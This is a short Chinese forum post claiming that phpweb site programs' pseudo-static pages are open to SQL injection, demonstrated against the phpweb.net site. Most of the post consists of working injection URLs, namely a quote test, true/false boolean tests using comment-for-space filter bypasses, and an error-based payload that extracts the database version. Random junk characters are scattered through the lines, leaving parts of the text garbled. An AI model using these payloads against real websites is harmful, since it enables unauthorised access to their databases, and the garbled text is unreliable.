phpweb所有的整站程序伪静态页面都存在sql注入& g' K$ y/ Z" u% p6 }
2 g5 d/ g% H1 Y; F7 U主站：http://phpweb.net/# O1 g. g' y& [3 S$ z
加’检测：
, h8 J( U. x% }* O& b- x; c9 J
9 h% V1 E: ~. {& J4 P* R4 w( _http://www.phpweb.net/down/html/?772′.html; k. G( w9 ]1 U4 x$ \
$ @+ ]+ R# f4 @$ n3 n0 }: R! ?出错
6 m) D4 I' u a n, n, w \存在注入。
N6 z. W- U1 y! A0 X; s不能用空格，只能用/*罗
, |+ v4 }: r5 Jhttp://www.phpweb.net/page/html/?56′/**/and/**/1=1/*.html 正常' Y m2 {6 K5 o
3 b a; ]1 d3 i r" O4 Z8 }' [1 c5 Z
http://www.phpweb.net/page/html/?56′/**/and/**/1=2/*.html 出错. W# T$ }/ a/ _
爆数据库版本：! j- @3 \7 r: A% c
5 o1 v# Q6 x; Y
?2 K6 I3 u4 I0 J" ~2 o3 c
16 D3 A6 J+ F0 v Q
http://www.phpweb.net/page/html/?56'/**/and/**/(SELECT/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),(substring((select(version())),1,62)))a/**/from/**/information_schema.tables/**/group/**/by/**/a)b)=1/*.html
% v& y. ?: N3 p5 f& L- H更新日期: 2013-01-03 13:39:50 5 c! c! H# \! y" K
|
发表于 2013-1-4 19:46:42
收藏
支持
反对